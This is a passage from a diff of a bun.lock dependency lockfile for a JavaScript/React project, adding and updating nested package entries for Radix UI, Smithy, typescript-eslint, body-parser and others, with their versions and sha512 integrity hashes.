- "@radix-ui/react-popover/react-remove-scroll": ["react-remove-scroll@2.5.5", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.3", "react-style-singleton": "^2.2.1", "tslib": "^2.1.0", "use-callback-ref": "^1.3.0", "use-sidecar": "^1.1.2" }, "peerDependencies": { "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw=="],
-
"@radix-ui/react-popper/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
"@radix-ui/react-popper/@radix-ui/react-context": ["@radix-ui/react-context@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-ebbrdFoYTcuZ0v4wG5tedGnp9tzcV8awzsxYph7gXUyvnNLuTIcCk1q17JEbnVhXAKG9oX3KtchwiMIAYp9NLg=="],
@@ -5603,6 +5817,8 @@
"@radix-ui/react-popper/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ=="],
+ "@radix-ui/react-portal/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
+
"@radix-ui/react-presence/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
"@radix-ui/react-presence/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ=="],
@@ -5621,10 +5837,16 @@
"@radix-ui/react-select/@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-fyjAACV62oPV925xFCrH8DR5xWhg9KYtJT4s3u54jxp+L/hbpTY2kIeEFFbFe+a/HCE94zGQMZLIpVTPVZDhaA=="],
+ "@radix-ui/react-select/@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw=="],
+
"@radix-ui/react-select/@radix-ui/react-popper": ["@radix-ui/react-popper@1.2.7", "", { "dependencies": { "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-layout-effect": "1.1.1", "@radix-ui/react-use-rect": "1.1.1", "@radix-ui/react-use-size": "1.1.1", "@radix-ui/rect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-IUFAccz1JyKcf/RjB552PlWwxjeCJB8/4KxT7EhBHOJM+mN7LdW+B3kacJXILm32xawcMMjb2i0cIZpo+f9kiQ=="],
+ "@radix-ui/react-select/@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.9", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ=="],
+
"@radix-ui/react-select/@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ=="],
+ "@radix-ui/react-select/react-remove-scroll": ["react-remove-scroll@2.7.1", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.7", "react-style-singleton": "^2.2.3", "tslib": "^2.1.0", "use-callback-ref": "^1.3.3", "use-sidecar": "^1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-HpMh8+oahmIdOuS5aFKKY6Pyog+FNaZV/XyJOq7b4YFwsFHe5yYfdbIalI4k3vU2nSDql7YskmUseHsRrJqIPA=="],
+
"@radix-ui/react-slider/@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ=="],
"@radix-ui/react-slider/@radix-ui/react-use-size": ["@radix-ui/react-use-size@1.1.1", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ=="],
@@ -5669,6 +5891,8 @@
"@radix-ui/react-toast/@radix-ui/react-visually-hidden": ["@radix-ui/react-visually-hidden@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-primitive": "1.0.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-D4w41yN5YRKtu464TLnByKzMDG/JlMPHtfZgQAu9v6mNakUqGUI9vUrfQKz8NK41VMm/xbZbh76NUTVtIYqOMA=="],
+ "@radix-ui/react-use-escape-keydown/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="],
+
"@radix-ui/react-use-size/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ=="],
"@rollup/plugin-babel/@rollup/pluginutils": ["@rollup/pluginutils@3.1.0", "", { "dependencies": { "@types/estree": "0.0.39", "estree-walker": "^1.0.1", "picomatch": "^2.2.2" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0" } }, "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg=="],
@@ -5681,45 +5905,21 @@
"@rollup/pluginutils/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
- "@smithy/abort-controller/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
-
"@smithy/credential-provider-imds/@smithy/node-config-provider": ["@smithy/node-config-provider@3.1.4", "", { "dependencies": { "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-YvnElQy8HR4vDcAjoy7Xkx9YT8xZP4cBXcbJSgm/kxmiQu08DwUwj8rkGnyoJTpfl/3xYHH+d8zE+eHqoDCSdQ=="],
"@smithy/credential-provider-imds/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="],
"@smithy/credential-provider-imds/@smithy/url-parser": ["@smithy/url-parser@3.0.3", "", { "dependencies": { "@smithy/querystring-parser": "^3.0.3", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-pw3VtZtX2rg+s6HMs6/+u9+hu6oY6U7IohGhVNnjbgKy86wcIsSZwgHrFR+t67Uyxvp4Xz3p3kGXXIpTNisq8A=="],
- "@smithy/eventstream-codec/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
-
- "@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
-
- "@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
-
- "@smithy/middleware-retry/uuid": ["uuid@9.0.1", "", { "bin": "dist/bin/uuid" }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="],
-
- "@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
-
- "@smithy/node-http-handler/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
-
- "@smithy/node-http-handler/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+ "@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
"@smithy/property-provider/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="],
- "@smithy/querystring-builder/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+ "@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
- "@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.11", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g=="],
- "@smithy/signature-v4/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
-
- "@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
-
- "@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-l/qdInaDq1Zpznpmev/+52QomsJNZ3JkTl5yrTl02V6NBgJOQ4LY0SFw/8zsMwj3tLe8vqiIuwF6nxaEwgf6mg=="],
-
- "@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
-
- "@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
-
- "@smithy/util-waiter/@smithy/abort-controller": ["@smithy/abort-controller@4.0.4", "", { "dependencies": { "@smithy/types": "^4.3.1", "tslib": "^2.6.2" } }, "sha512-gJnEjZMvigPDQWHrW3oPrFhQtkrgqBkyjj3pCIdF3A5M6vsZODG93KNlfJprv6bp4245bdT32fsHK4kkH3KYDA=="],
+ "@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
"@surma/rollup-plugin-off-main-thread/magic-string": ["magic-string@0.25.9", "", { "dependencies": { "sourcemap-codec": "^1.4.8" } }, "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ=="],
@@ -5737,12 +5937,22 @@
"@types/winston/winston": ["winston@3.11.0", "", { "dependencies": { "@colors/colors": "^1.6.0", "@dabh/diagnostics": "^2.0.2", "async": "^3.2.3", "is-stream": "^2.0.0", "logform": "^2.4.0", "one-time": "^1.0.0", "readable-stream": "^3.4.0", "safe-stable-stringify": "^2.3.1", "stack-trace": "0.0.x", "triple-beam": "^1.3.0", "winston-transport": "^4.5.0" } }, "sha512-L3yR6/MzZAOl0DsysUXHVjOwv8mKZ71TrA/41EIduGpOOV5LQVodqN+QdQ6BS6PJ/RdIshZhq84P/fStEZkk7g=="],
+ "@types/ws/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
+
+ "@typescript-eslint/parser/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "@typescript-eslint/type-utils/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "@typescript-eslint/typescript-estree/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"@typescript-eslint/typescript-estree/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
"@typescript-eslint/typescript-estree/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"@typescript-eslint/visitor-keys/eslint-visitor-keys": ["eslint-visitor-keys@4.2.0", "", {}, "sha512-UyLnSehNt62FFhSwjZlHmeokpRK59rcz29j+F1/aDgbkbRTk7wIc9XzdoasMUbRNKDM0qQt/+BJ4BrpFeABemw=="],
+ "@vitejs/plugin-react/@babel/core": ["@babel/core@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/traverse": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA=="],
+
"accepts/negotiator": ["negotiator@1.0.0", "", {}, "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg=="],
"ajv-formats/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="],
@@ -5751,10 +5961,18 @@
"asn1.js/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
+ "autoprefixer/fraction.js": ["fraction.js@4.3.7", "", {}, "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew=="],
+
"babel-jest/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"babel-plugin-root-import/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
+ "body-parser/iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="],
+
+ "body-parser/qs": ["qs@6.15.0", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ=="],
+
+ "body-parser/raw-body": ["raw-body@3.0.2", "", { "dependencies": { "bytes": "~3.1.2", "http-errors": "~2.0.1", "iconv-lite": "~0.7.0", "unpipe": "~1.0.0" } }, "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA=="],
+
"browser-resolve/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
"browserify-rsa/bn.js": ["bn.js@5.2.2", "", {}, "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw=="],
@@ -5769,6 +5987,8 @@
"chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="],
+ "cheerio/undici": ["undici@7.16.0", "", {}, "sha512-QEg3HPMll0o3t2ourKwOeUAZ159Kn9mx5pnzHRQO8+Wixmh88YdZRiIwat0iNzNNXn0yoEtXJqFpyW7eM8BV7g=="],
+
"chokidar/glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="],
"cli-truncate/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
@@ -5783,32 +6003,66 @@
"cookie-parser/cookie-signature": ["cookie-signature@1.0.6", "", {}, "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="],
+ "core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+
"create-ecdh/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
+ "css-blank-pseudo/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "css-has-pseudo/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
"cssnano/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="],
"cssnano/yaml": ["yaml@1.10.2", "", {}, "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="],
+ "cytoscape-fcose/cose-base": ["cose-base@2.2.0", "", { "dependencies": { "layout-base": "^2.0.0" } }, "sha512-AzlgcsCbUMymkADOJtQm3wO9S3ltPfYOFD5033keQn9NJzIbtnZj+UdBJe7DYml/8TdbtHJW3j58SOnKhWY/5g=="],
+
